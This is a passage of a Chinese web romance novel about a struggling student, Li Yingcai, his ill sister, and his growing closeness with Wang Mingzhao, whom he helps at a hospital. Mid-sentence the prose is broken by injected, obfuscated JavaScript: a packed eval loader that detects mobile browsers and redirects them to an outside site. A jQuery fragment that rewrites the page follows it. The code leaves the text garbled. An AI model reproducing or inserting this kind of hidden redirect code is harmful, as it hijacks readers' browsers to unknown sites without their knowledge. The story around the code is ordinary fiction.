李英才点开了王明昭的朋友圈。
李英才并不是热衷于关注他人生活的人。学习,赚钱,谋生,他每天都有太多的事情要做,生活与朋友圈的同学们格格不入。因此,他既没有时间,也没有兴趣去查看他人的朋友圈,平日点开朋友圈的次数屈指可数。
可他莫名其妙地点开了王明昭的朋友圈。
从短暂的相处中,李英才感觉得到,王明昭是一位很活泼开朗的女性。这样的人是通常是乐于表达的,会在朋友圈发表许多内容。
可是,点进王明昭的朋友圈,李英才却什么都没有看到。
他的第一反应,是对方并不想让一个狼狈的穷学生看到她的生活。
他的心微微地坠了一下,又觉得这也是理所当然的。她本来就是不同世界的人,不过很偶然地与他产生了一些本不会产生的交集,一瞬而过。
不过,看着那行“朋友仅展示最近半年的朋友圈”,他又觉得,也许她真的只是近半年都没有发表什么内容。
他不常用朋友圈,不知道被屏蔽和单纯没有内容的区别。于是,他低着头,切了浏览器,上网搜了搜。
搜索引擎告诉他,有这行提示语,恰恰说明他没有被屏蔽。被屏蔽是不会有这条提示语的。
他的心熨帖了一下,又切回了微信。切个浏览器的工夫,内存极低的手机已经默默将微信从后台移除了。他静静地等待着漫长的加载,再次点入了她的朋友圈。
实际上,不光是不在朋友圈发表内容,她微信的各种设置都与她的开朗有些不符。
她的头像是灰白色的,像是起了大雾。
她的朋友圈封面同样,使用了一种压抑的灰色,不见阳光。
她好像每一个样子都是不同的。
第一眼看到她,她成熟而明艳。开口说了话,她社恐又活泼。点开朋友圈,她又平静而略显阴郁。每一个她都很不同,却又好像都是她。
李英才看着她灰色的头像,想着她的不同,手指无意识地点了点。
手机发出震动,她的头像活泼地左右晃了晃,一行小字出现在了聊天框:“你拍了拍"wmz"”。
李英才一愣,一瞬间脸都热了,飞快地点了撤回,期望她没有看到。
几秒钟后,对方也拍了拍他,然后发来了一个表情包。是个很可爱的卡通小兔子,冲他打了个招呼。
好像只是很普通地互相问候。
好像他的一切尴尬和窘迫,在她看来都没有什么所谓。
他就也若无其事地寻找表情包。他微信中没有存任何表情,就临时在微信表情中搜索。在搜索框中输入“你好”,就有无数可爱的表情冒了出来。
李英才在学业的战场上向来所向披靡,笔锋如刀,从不会犹豫选项。微信聊天不会比试卷难,当然更没有理由让人犹豫什么。可莫名其妙的,看着这些表情,李英才却第一次地犹豫了起来,不知道要给她发哪一个。
他又不愿太久不回,只好直接选了第一个。
那是一只卡通小狗,看上去很乖,伸出小爪,挥出了一个“Hi”。
很快,对方就回了个捧脸的表情,又回复:“可爱!”大约是在称赞李英才发出的表情包。
李英才收藏了那套表情包。
“软软小狗”成了李英才微信里的第一套表情包。
*
十九岁的李英才实际有着超过大部分同龄人的赚钱能力。大学刚开学,他就凭借华大的金字招牌得到了一份稳定的家教工作,地点在顺义,时薪三百,每日教学,全年无休。尽管两小时的教学时间加上从海淀到顺义的来回通勤几乎占据了他所有的空闲时间,但也给他带来了每月一万八千块的稳定收入,足够他做很多事了。
比如还清父亲的赌债,比如给尿毒症的妹妹按时透析,再为她存下一大笔钱等待换肾。
他与妹妹的肾源并不匹配,需要等待肾源。而肾不是说有就能有的,运气好的排上三年,运气不好遥遥无期。
照目前的进度,他应该刚刚好能在大学即将毕业时存下足够的手术费,到那时,运气好的话,也许就能等到合适的肾源了。
在那之前,他能做的就只有攒钱。他绝不允许妹妹侥幸早早排到肾源,而他却没有钱给她手术。
他如同最兢兢业业的葛朗台,用奖学金和助学金覆盖自己与妹妹的学费和生活费,把自己的每日花销严格控制在十块以内,剩下的钱都认认真真地存起来,一分一角也不放松。
吃过了饭,李英才就上了地铁,和妹妹约好在医院见面。
李英才的妹妹名叫李梅,今年十三,在昌平上初中。按说她留在老家上学和治病都是更便宜也更方便的——毕竟北京之大,光从学校到医院的距离就足够在老家横跨整个县城了。但母亲早逝,父亲好赌,李梅真正的监护人实际只有哥哥。若留她一个人在老家,没有李英才看着,别说治病,李槐这赌鬼保准第二天就要拿她去换彩礼。搞不好妹妹已经病死在哪里了,李槐还要骗着李英才按月打钱“做透析”。
是以,知道要到北京上学,李英才早早就做足了功课,费了好些力气给妹妹找了学校转学,能一直由他照顾着。
李梅的性格与他们早逝的母亲很像,文静,内敛,没有什么脾气。李英才总怕她被欺负,教她许多次“女孩更应该硬气”之类的话,没见什么成效。
一见面,李英才先给妹妹塞了袋牛奶。他自己一餐三块钱,养活妹妹却从不吝啬,给她的钱从来都是够花的,也总要她多吃肉蛋奶。青春期的孩子,身体得养好,才能长得高。何况她还生病,得好好补充蛋白质。
可是李梅是个太懂事的孩子,生活费到手从来都花不到三成,怎么说都没用。这孩子看着没脾气,犟的时候却也死犟。李英才管不了她,只好自己买东西给她。
李梅接过牛奶,先撕了个口子,硬塞到李英才嘴里。李英才没辙,喝了几口,达到了让她满意的标准,然后,她才从另一头撕了个角,自己喝了起来。
周末的北
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630231|172512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
京人山人海,医院更是比肩继踵。李英才早早带妹妹报了到,就留妹妹等号,自己去给她买吃的。
他买了份小米粥和煎饼果子,加两个鸡蛋,赶着往回走。他不能让妹妹一个人去做透析。
紧赶慢赶回到了原处,他愣了一下。
他再次看到了那身驼色的大衣。衣服的主人佝偻着身体,坐在椅子上,看上去好像很难受。
他不知怎么了,心里猛地一跳,脚下三步并作两步,几步就走上前去。此时,他也看到,自己的妹妹刚好就在对方的旁边,正一面摸她的背,一面和她说话。
见他回来,李梅二话不说,从他手里拿了塑封的小米粥出来,一面把粥塞进王明昭的怀里,一面轻声和她说话:“你看,我说我哥一会儿就回来了,他肯定给我买粥。你拿粥暖一暖。”
“嗯。”王明昭应了一声,转头看着李梅,很真诚地开口,“谢谢你。”
“不用。”李梅伸手给她拢衣服,“你冷不冷?是不是着了凉才疼?”
“怎么了?”李英才在一旁开口询问。
王明昭闻声抬头,这才看到李英才,愣了一下。
“你怎么在这里?”
“我陪我妹妹看病。”李英才道。他也觉得这实在是巧得很,但他的心思却不在这里:“你怎么了?生病了吗?”
“倒也不算。”王明昭用粥暖着肚子,“就是肚子疼,生理期。”
“哦,哦……”李英才顿时不知该如何接话,脸一下子就泛了红。他出身山村,环境保守,从未与人聊过这样的话题。
可是她的脸色已不复中午的明艳——李英才从来辨不出女性的妆容,只觉得她一定是很难受。
于是,他又不觉得尴尬了,蹲下身来:“怎么能好一点?冲点红糖水?”
“不用。”王明昭捂着肚子,“等医生看看就行。”
李英才看着她的脸色,没说话,直接站起身来,急匆匆下楼,找了个小商店,买了袋红糖。走路的同时,他又用手机搜到,痛经喝糖水主要是补充能量和热饮缓解,实际止痛还得是止痛药。于是,他又买了瓶布洛芬,一起拿了上去。
他用医院的饮水机冲了红糖水,热气腾腾的,递给王明昭,然后拧开药瓶,给她倒了一片布洛芬:“止疼药,一起吃了吧。”
王明昭双手捧着暖融融的一次性纸杯,看着李英才,神色中的感激和不好意思已经要从眼睛中漫出来了:“真的太谢谢你了……多少钱呀,我转给你。”社恐通常都不太擅长接受不熟悉的人的好意,会感到十分十分不好意思。
“不用。”李英才摇头,还反过来把小袋红糖和整瓶布洛芬都送到她手里,“你要是觉得好用,以后就吃这个。”
红糖买的小袋的,布洛芬买的也是最单纯朴素的药片,不付商业溢价的那种,加起来八块钱。这八块实际接近李英才一天的饭钱,可是不知道为什么,他不想要她的钱。
李梅抬起头,认真地看了哥哥一眼,又转过头,看着王明昭。